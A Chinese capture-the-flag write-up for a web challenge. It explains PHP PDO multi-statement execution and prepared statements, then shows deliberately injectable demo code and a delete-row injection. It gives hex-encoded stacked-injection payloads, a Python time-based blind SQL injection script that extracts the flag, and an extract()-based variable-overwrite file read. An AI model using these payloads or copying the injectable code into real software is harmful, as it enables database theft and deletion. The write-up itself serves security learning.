知识点

PDO详解

  1. PHP PDO模式下的SQL语句
  2. SQL语句预处理
  3. PDO多语句执行
  4. MVC代码审计

    PDO多语句执行

    1. <?php
    2. $dbms='mysql'; //数据库类型
    3. $host='localhost'; //数据库主机名
    4. $dbName='messageboard'; //使用的数据库
    5. $user='root'; //数据库连接用户名
    6. $pass='123456'; //对应的密码
    7. $dsn="$dbms:host=$host;dbname=$dbName";
    8. try{
    9. $db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True));
    10. echo "messageboard";
    11. echo "<br>";
    12. }
    13. catch (PDOException $e) {
    14. die ("Error!: " . $e->getMessage() . "<br/>");
    15. }
    16. $sql = 'select * from user where id=2;';
    17. $sql .= 'delete from user where id=4;';
    18. $result = $db -> query($sql);
    19. while($row=$result->fetch(PDO::FETCH_ASSOC))
    20. {
    21. var_dump($row);
    22. echo "<br>";
    23. }
    24. ?>
    讲解一下 PDO 模式下的mysql连接方式
    PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True
    这两个参数分别是建立持久连接,一个是开启多语句执行
    1. $dbms='mysql'; //数据库类型
    2. $host='localhost'; //数据库主机名
    3. $dbName='messageboard'; //使用的数据库
    4. $user='root'; //数据库连接用户名
    5. $pass='123456'; //对应的密码
    6. $dsn="$dbms:host=$host;dbname=$dbName";
    7. try{
    8. $db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => True));
    9. echo "messageboard";
    10. echo "<br>";
    11. }
    12. catch (PDOException $e) {
    13. die ("Error!: " . $e->getMessage() . "<br/>");
    14. }
    当前数据库的内容_E8$JXT(ZK$(45X37@OJ7Q6.png这里我们的sql语句进行了拼接,执行了两条sql语句
    1. $sql = 'select * from user where id=2;';
    2. $sql .= 'delete from user where id=4;';
    3. $result = $db -> query($sql);
    4. while($row=$result->fetch(PDO::FETCH_ASSOC))
    5. {
    6. var_dump($row);
    7. echo "<br>";
    8. }
    查看一下效果
    1. messageboard
    2. array(4) { ["id"]=> string(1) "2" ["email"]=> string(13) "123456@qq.com" ["password"]=> string(32) "e10adc3949ba59abbe56e057f20f883e" ["headimg"]=> string(59) "D:\phpstudy_pro\WWW\Messageboard\images\default_headimg.png" }
    再看一下数据库的内容,会发现执行了两条sql语句,id=4的数据已经被删除了

    预处理

  5. PDO::prepare($SQL)
    PDO::prepare — 准备要执行的SQL语句并返回一个 PDOStatement 对象
    2. PDO::bindValue($param, $value)
    PDOStatement::bindParam — 把一个值绑定到一个参数
    3. PDO::exec — 执行一条 SQL 语句,并返回受影响的行数
    下面写一个完整的流程
    1. <?php
    2. $dbms='mysql'; //数据库类型
    3. $host='localhost'; //数据库主机名
    4. $dbName='messageboard'; //使用的数据库
    5. $user='root'; //数据库连接用户名
    6. $pass='123456'; //对应的密码
    7. $dsn="$dbms:host=$host;dbname=$dbName";
    8. try{
    9. $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => true));
    10. echo "messageboard";
    11. echo "<br>";
    12. }
    13. catch (PDOException $e) {
    14. die ("Error!: " . $e->getMessage() . "<br/>");
    15. }
    16. $sql = "select * from user where id= ?;";
    17. $id = 2;
    18. $psql = $pdo -> prepare($sql);
    19. $psql -> bindParam(1,$id,PDO::PARAM_INT);
    20. $psql->execute();
    21. while($row=$psql->fetch(PDO::FETCH_ASSOC))
    22. {
    23. var_dump($row);
    24. echo "<br>";
    25. }
    26. ?>
    这里有一个坑点就是bindParam(1,$id,PDO::PARAM_INT);绑定参数的时候第二个一定要是一个变量
    原因是bindParam和bindValue是不同的, bindParam要求第二个参数是一个引用变量(reference)
    此外预处理还存在两种模式模拟预处理和非模拟预处理
    ```php 模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。

  1. <a name="Az900"></a>
  2. ## 模拟预处理的安全问题
  3. 下面模拟一下预处理模式下的PDO
  4. ```php
  5. <?php
  6. $dbms='mysql'; //数据库类型
  7. $host='localhost'; //数据库主机名
  8. $dbName='messageboard'; //使用的数据库
  9. $user='root'; //数据库连接用户名
  10. $pass='123456'; //对应的密码
  11. $dsn="$dbms:host=$host;dbname=$dbName";
  12. try{
  13. $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true,PDO::MYSQL_ATTR_MULTI_STATEMENTS => true));
  14. echo "messageboard";
  15. echo "<br>";
  16. }
  17. catch (PDOException $e) {
  18. die ("Error!: " . $e->getMessage() . "<br/>");
  19. }
  20. $sql = "select email,".$_GET['filed']." from user where id= ?;";
  21. $id = $_GET['id'];
  22. $psql = $pdo -> prepare($sql);
  23. $psql -> bindParam(1,$id);
  24. var_dump($psql);
  25. echo "<br>";
  26. $psql->execute();
  27. while($row=$psql->fetch(PDO::FETCH_ASSOC))
  28. {
  29. var_dump($row);
  30. echo "<br>";
  31. }
  32. ?>

这个时候我们传入参数[http://127.0.0.1/buu/sqlsql/pdo.php/?id=2&filed=password](http://127.0.0.1/buu/sqlsql/pdo.php/?id=2&filed=password)
执行的结果

  1. messageboard
  2. object(PDOStatement)#2 (1) { ["queryString"]=> string(44) "select email,password from user where id= ?;" }
  3. array(2) { ["email"]=> string(13) "123456@qq.co

同时我们可以控制filed参数来进行SQL注入
?id=2&filed=id from user;select password,headimg
结果输出为

  1. messageboard
  2. object(PDOStatement)#2 (1) { ["queryString"]=> string(72) "select email,id from user;select password,headimg from user where id= ?;" }
  3. array(2) { ["email"]=> string(13) "123456@qq.com" ["id"]=> string(1) "2" }
  4. array(2) { ["email"]=> string(14) "123456@163.com" ["id"]=> string(1) "6" }

或者注入[http://127.0.0.1/buu/sqlsql/pdo.php/?id=6&filed=id%20from%20user;delete](http://127.0.0.1/buu/sqlsql/pdo.php/?id=6&filed=id%20from%20user;delete)
可以发现数据库id=6的内容被删除了

解题

  1. 首先观察了一下注入点G]09J2W9C]BYEENO6(M(L$3.png正常输入错误的账号和密码的返回值
  2. 如果username后面加一个引号则会产生报错
  3. 如果在username后面添加一个’;则页面返回{“code”:”202”,”info”:”error username or password.”},通过这里的判断可以确定这里应该是存在一个堆叠注入的
  4. 我们可以利用这个fuzz一下,发现过滤了handler,select,union等字符
  5. 所以这里需要采用16进制绕过 原理如下 ```plsql mysql> select hex(‘abasd’); +———————+ | hex(‘abasd’) | +———————+ | 6162617364 | +———————+ 1 row in set (0.00 sec)

mysql> select 0x6162617364; +———————+ | 0x6162617364 | +———————+ | abasd | +———————+ 1 row in set (0.00 sec)

  1. 6. 接着我们就可以利用PDO的多语句执行来构造payload
  2. 构造的payload如下
  3. ```plsql
  4. xbx0d';set @a=0x{0};prepare b from @a;execute b--+
  5. 其中{0}用下面的语句填充
  6. select if(ascii(substr((select flag from flag),1,1))>1,sleep(2),1)

写exp 两个点一个是url为login 一个是data用用json编码

  1. import requests
  2. import time
  3. import json
  4. url = "http://25f270af-a961-4d4a-b0e9-38137c34f8ef.node4.buuoj.cn:81/index.php?r=Login/login"
  5. payloads="xbx0d';set @a=0x{0};prepare test from @a;execute test;"
  6. flag = ''
  7. def strtohex(string):
  8. p = ''
  9. for c in string:
  10. p = p + hex(ord(c))[2:]
  11. return p
  12. for i in range(1,100):
  13. print(i)
  14. payload = "select if(ascii(substr((select flag from flag),{0},1))={1},Sleep(3),1)"
  15. for j in range(0,128):
  16. data = {
  17. 'username' : payloads.format(strtohex(payload.format(i,j))),
  18. 'password' : '123'
  19. }
  20. data = json.dumps(data)
  21. start = time.time()
  22. r = requests.post(url=url,data=data)
  23. end = time.time()
  24. if end - start >= 3:
  25. flag = flag + chr(j)
  26. print(flag)
  27. break

结果是:glzjin_wants_a_girl_friend.zip 是题目的源代码
接着就是审计MVC框架了 看wp看wp,焦了焦了
首先是获取r参数之后讲r的值以/分割改为数组形式,分别赋给$controller,$action,然后接着调用该控制器下的某个函数

  1. if(!empty($_REQUEST['r']))
  2. {
  3. $r = explode('/', $_REQUEST['r']);
  4. list($controller,$action) = $r;
  5. $controller = "{$controller}Controller";
  6. $action = "action{$action}";
  7. if(class_exists($controller))
  8. {
  9. if(method_exists($controller,$action))
  10. {
  11. //
  12. }
  13. else
  14. {
  15. $action = "actionIndex";
  16. }
  17. }
  18. else
  19. {
  20. $controller = "LoginController";
  21. $action = "actionIndex";
  22. }
  23. $data = call_user_func(array( (new $controller), $action));
  24. } else {
  25. header("Location:index.php?r=Login/Index");
  26. }

接着我们看Basecontorller.php 存在一个变量覆盖

  1. public function loadView($viewName ='', $viewData = [])
  2. {
  3. $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
  4. if(file_exists($this->viewPath))
  5. {
  6. extract($viewData);
  7. include $this->viewPath;
  8. }
  9. }

接着在Usercontroller.php发现actionIndex()函数的所有参数我们都是可以控制

  1. public function actionIndex()
  2. {
  3. $listData = $_REQUEST;
  4. $this->loadView('userIndex',$listData);
  5. }

最后在UserIndex.php发现一个文件读取

  1. if(!isset($img_file)) {
  2. $img_file = '/../favicon.ico';
  3. }
  4. $img_dir = dirname(__FILE__) . $img_file;
  5. $img_base64 = imgToBase64($img_dir);
  6. echo '<img src="' . $img_base64 . '">'; //图片形式展示

构造一下我们的payload

  1. 首先通过fun.php 调用 usercontrolleractionindex函数
  2. 接着会调用到BaseController.php
  3. $this->viewPath = BASE_PATH . "/View/userindx.php";
  4. extract($viewData);产生变量覆盖
  5. 覆盖$img_file = '/../favicon.ico';

总结

这道题SQL注入以前接触过,但是没有太想起来,还需要多练习
至于MVC代码审计,我只想说,告诉我漏洞,我都联系起来都要半天,更别说在代码中满满找了
其实思路应该很明确的
最后要读取flag,所以肯定有文件读取的漏洞,就应该找到UserIndex.php
之后再看哪个页面调用到Userindex.php